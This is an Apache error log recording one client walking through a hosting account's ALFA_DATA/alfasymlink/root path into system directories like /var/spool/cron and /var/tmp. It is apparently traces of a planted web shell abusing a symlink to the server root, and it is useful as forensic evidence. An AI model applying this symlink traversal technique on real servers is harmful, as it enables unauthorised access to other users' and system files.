[Sun Oct 25 14:23:57.466494 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/livesite/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:57.484529 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp50/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:57.601262 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/magento2/.htaccess: Invalid command 'SetEnv', perhaps misspelled or defined by a module not included in the server configuration
[Sun Oct 25 14:23:57.645035 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/buggenie/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:57.731802 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/igalerie/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:57.767336 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/carbon/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:57.831165 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/toaster/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:57.861229 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/yourls/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:57.879058 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/cube/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:57.941112 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/bludit/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:57.968149 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp59/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:58.038341 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp55/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:58.101469 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp49/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:58.329337 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp66/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:58.408169 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp54/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:58.453122 2026] [access_compat:error] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] AH01797: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/webasyst/
[Sun Oct 25 14:23:58.524072 2026] [access_compat:error] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] AH01797: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/rainloop/
[Sun Oct 25 14:23:58.549274 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/monstra/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:58.555708 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/anchor/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:58.618711 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp65/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:58.641188 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/nukeviet/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:58.701387 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp67/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:58.745901 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp57/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:58.779289 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp69/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:58.795641 2026] [authz_core:error] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/piwik/
[Sun Oct 25 14:23:58.902022 2026] [authz_core:error] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/drupalcms/
[Sun Oct 25 14:23:58.930336 2026] [authz_core:error] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/drupal8/
[Sun Oct 25 14:23:59.030791 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/magento241/.htaccess: Invalid command 'SetEnv', perhaps misspelled or defined by a module not included in the server configuration
[Sun Oct 25 14:23:59.074240 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/bbpress/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:59.156160 2026] [authz_core:error] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/drupal10/
[Sun Oct 25 14:23:59.254205 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/phpwcms/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:59.310134 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/zen/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:59.404742 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/selfoss/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:59.421616 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/classicpress/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:24:00.605742 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:57656] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/at/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/at/' is executable
[Sun Oct 25 14:24:00.605835 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:57656] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/cron/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/cron/' is executable
[Sun Oct 25 14:24:00.629625 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:57656] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/up2date/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/up2date/' is executable
[Sun Oct 25 14:24:01.177335 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/RITwlF8UBX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/RITwlF8UBX/' is executable
[Sun Oct 25 14:24:01.177441 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Xf45g1vOVG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Xf45g1vOVG/' is executable
[Sun Oct 25 14:24:01.177504 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/' is executable
[Sun Oct 25 14:24:01.177574 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/' is executable
[Sun Oct 25 14:24:01.177687 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/n83SSM739h/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/n83SSM739h/' is executable
[Sun Oct 25 14:24:01.177768 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/6kbL1XuIiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/6kbL1XuIiD/' is executable
[Sun Oct 25 14:24:01.177799 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/' is executable
[Sun Oct 25 14:24:01.177834 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/v7WsvFUVho/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/v7WsvFUVho/' is executable
[Sun Oct 25 14:24:01.177859 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/nnRZJb1Juq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/nnRZJb1Juq/' is executable
[Sun Oct 25 14:24:01.177892 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/puppeteer_dev_chrome_profile-hhMbCm/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/puppeteer_dev_chrome_profile-hhMbCm/' is executable
[Sun Oct 25 14:24:01.177920 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/' is executable
[Sun Oct 25 14:24:01.177973 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/wBeybsLHXV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/wBeybsLHXV/' is executable
[Sun Oct 25 14:24:01.178018 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/8q2sCydPh5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/8q2sCydPh5/' is executable
[Sun Oct 25 14:24:01.178042 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ViFEAD6HYr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ViFEAD6HYr/' is executable
[Sun Oct 25 14:24:01.178061 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/WnEC8KZtlU/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/WnEC8KZtlU/' is executable
[Sun Oct 25 14:24:01.178140 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/hNQbPWd2kD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/hNQbPWd2kD/' is executable
[Sun Oct 25 14:24:01.178193 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/7b1aDEYVIR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/7b1aDEYVIR/' is executable
[Sun Oct 25 14:24:01.178232 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/nL4cUoX2dh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/nL4cUoX2dh/' is executable
[Sun Oct 25 14:24:01.178260 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/atbV7hLAQS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/atbV7hLAQS/' is executable
[Sun Oct 25 14:24:01.178286 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/oq6K0rejFI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/oq6K0rejFI/' is executable
[Sun Oct 25 14:24:01.178310 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_4gGxNj1jq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_4gGxNj1jq/' is executable
[Sun Oct 25 14:24:01.178335 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/PK7EkDXBbp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/PK7EkDXBbp/' is executable
[Sun Oct 25 14:24:01.178365 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/P7NdWo184S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/P7NdWo184S/' is executable
[Sun Oct 25 14:24:01.178424 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/' is executable
[Sun Oct 25 14:24:01.178442 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/1Yt1W3a9Ze/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/1Yt1W3a9Ze/' is executable
[Sun Oct 25 14:24:01.178458 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9rQ4cdkNCQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9rQ4cdkNCQ/' is executable
[Sun Oct 25 14:24:01.178472 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_kkgr6o8ai/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_kkgr6o8ai/' is executable
[Sun Oct 25 14:24:01.178502 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/xjhoijgaTz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/xjhoijgaTz/' is executable
[Sun Oct 25 14:24:01.178515 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/vhrRK1JXY7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/vhrRK1JXY7/' is executable
[Sun Oct 25 14:24:01.178530 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/w1Du8raeKq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/w1Du8raeKq/' is executable
[Sun Oct 25 14:24:01.178551 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/' is executable
[Sun Oct 25 14:24:01.178578 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/4x7GklfLfl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/4x7GklfLfl/' is executable
[Sun Oct 25 14:24:01.178620 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Jv_fJ8FgT6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Jv_fJ8FgT6/' is executable
[Sun Oct 25 14:24:01.178647 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/aWw1loTP0R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/aWw1loTP0R/' is executable
[Sun Oct 25 14:24:01.178663 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/' is executable
[Sun Oct 25 14:24:01.178676 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/rtyBKWjryj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/rtyBKWjryj/' is executable
[Sun Oct 25 14:24:01.178688 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ipRojNggb4/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ipRojNggb4/' is executable
[Sun Oct 25 14:24:01.178700 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_NkDK_G3eh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_NkDK_G3eh/' is executable
[Sun Oct 25 14:24:01.178713 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/' is executable
[Sun Oct 25 14:24:01.178731 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/kCf6PZ1WYZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/kCf6PZ1WYZ/' is executable
[Sun Oct 25 14:24:01.178745 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/84lPUOx2JO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/84lPUOx2JO/' is executable
[Sun Oct 25 14:24:01.178758 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/js2u_Gtz2I/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/js2u_Gtz2I/' is executable
[Sun Oct 25 14:24:01.178799 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/' is executable
[Sun Oct 25 14:24:01.178824 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/rqXfNeDxe6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/rqXfNeDxe6/' is executable
[Sun Oct 25 14:24:01.178838 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/NgqDY1QDQC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/NgqDY1QDQC/' is executable
